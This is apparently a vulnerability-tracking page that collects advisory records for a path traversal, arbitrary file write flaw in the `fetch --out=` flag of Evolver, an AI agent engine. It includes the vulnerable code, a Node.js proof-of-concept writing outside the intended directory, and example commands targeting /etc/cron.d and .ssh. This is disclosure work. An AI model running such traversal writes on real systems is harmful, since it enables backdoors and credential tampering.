Evolver: Path Traversal via `--out` flag in `fetch` command allows Arbitrary File Write

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Evolver is a GEP-powered self-evolving engine for AI agents. Prior to version 1.69.3, a path traversal vulnerability in the skill download (fetch) command allows attackers to write files to arbitrary locations on the filesystem. The --out= flag accepts user-provided paths without validation, enabling directory traversal attacks that can overwrite critical system files or create files in sensitive location. This issue has been patched in version 1.69.3.

Source published

4 May 2026 16:47:23 UTC

Source modified

4 May 2026 17:15:13 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Evolver is a GEP-powered self-evolving engine for AI agents. Prior to version 1.69.3, a path traversal vulnerability in the skill download (fetch) command allows attackers to write files to arbitrary locations on the filesystem. The --out= flag accepts user-provided paths without validation, enabling directory traversal attacks that can overwrite critical system files or create files in sensitive location. This issue has been patched in version 1.69.3.

Source published

May 4, 2026, 4:47:23 PM (timezone not stated)

Source modified

May 4, 2026, 5:15:13 PM (timezone not stated)

Observed here

7 Nov 2026 09:32:01 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Evolver is a GEP-powered self-evolving engine for AI agents. Prior to version 1.69.3, a path traversal vulnerability in the skill download (fetch) command allows attackers to write files to arbitrary locations on the filesystem. The --out= flag accepts user-provided paths without validation, enabling directory traversal attacks that can overwrite critical system files or create files in sensitive location. This issue has been patched in version 1.69.3.

Source published

4 May 2026 17:16:24 UTC

Source modified

26 Oct 2026 19:10:00 UTC

Observed here

27 Oct 2026 11:12:01 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

### Summary A path traversal vulnerability in the skill download (`fetch`) command allows attackers to write files to arbitrary locations on the filesystem. The `--out=` flag accepts user-provided paths without validation, enabling directory traversal attacks that can overwrite critical system files or create files in sensitive locations. ### Details The vulnerability exists in `index.js` at lines 752-767: ```javascript // index.js:751-768 const outFlag = args.find(a => typeof a === 'string' && a.startsWith('--out=')); const safeId = String(data.skill_id || skillId).replace(/[^a-zA-Z0-9_\-\.]/g, '_'); // VULNERABLE: No path validation on user input const outDir = outFlag ? outFlag.slice('--out='.length) // User-controlled path : path.join('.', 'skills', safeId); if (!fs.existsSync(outDir)) fs.mkdirSync(outDir, { recursive: true }); // ... downloads skill files to outDir ``` The `outFlag.slice('--out='.length)` extracts the user-provided path without any sanitization or validation. An attacker can provide paths like `../../../etc/cron.d` to write files outside the intended directory. Note: The `safeId` variable is sanitized via inline replacement (`replace(/[^a-zA-Z0-9_\-\.]/g, '_')`), but this sanitization only applies to the default path, not to the user-provided `--out=` path. ### PoC **Prerequisites:** - Node.js installed - Access to the evolver application **Steps to reproduce:** 1. Create a test file demonstrating the vulnerability: ```javascript // test-file-write.js const fs = require('fs'); const path = require('path'); // Simulate the vulnerable fetchSkill logic function vulnerableFetchSkill(outFlag) { const outDir = outFlag ? outFlag.slice('--out='.length) // No validation! : path.join('.', 'skills', 'default'); console.log('Target directory:', outDir); console.log('Resolved path:', path.resolve(outDir)); // In real code, this would write skill files const targetFile = path.join(outDir, 'skill.js'); console.log('Would write to:', targetFile); return { outDir, targetFile }; } // Test cases console.log('=== Test 1: Normal path ==='); vulnerableFetchSkill('--out=./my-skills/test'); console.log('\n=== Test 2: Path traversal ==='); const result = vulnerableFetchSkill('--out=../../../tmp/evolver-test'); // Actually demonstrate the vulnerability console.log('\n=== Creating directory to prove traversal works ==='); try { if (!fs.existsSync(result.outDir)) { fs.mkdirSync(result.outDir, { recursive: true }); } fs.writeFileSync( path.join(result.outDir, 'poc.txt'), 'Path traversal successful!\nThis file was written outside the intended directory.' ); console.log('SUCCESS: File written to:', path.resolve(result.targetFile)); } catch (e) { console.log('Error:', e.message); } ``` 2. Run the test: ```bash node test-file-write.js ``` **Expected output:** ``` === Test 2: Path traversal === Target directory: ../../../tmp/evolver-test Resolved path: /tmp/evolver-test Would write to: ../../../tmp/evolver-test/skill.js === Creating directory to prove traversal works === SUCCESS: File written to: /tmp/evolver-test/poc.txt ``` **Actual exploit scenario:** An attacker can run: ```bash # Write to system cron directory (requires appropriate permissions) node index.js fetch malicious-skill --out=../../../etc/cron.d # Or overwrite existing files node index.js fetch existing-skill --out=../../../home/user/.ssh ``` ### Impact This is an **Arbitrary File Write** vulnerability that can lead to: - Overwriting critical system files - Installing persistent backdoors (e.g., in cron directories) - Modifying SSH authorized_keys - Overwriting application code or configuration files - Privilege escalation if the process runs with elevated privileges **Affected users:** Anyone using the `fetch` command with the `--out=` flag, especially in automated environments or CI/CD pipelines.

Source published

22 Apr 2026 22:06:15 UTC

Source modified

5 May 2026 16:11:45 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Publisher rating · HIGH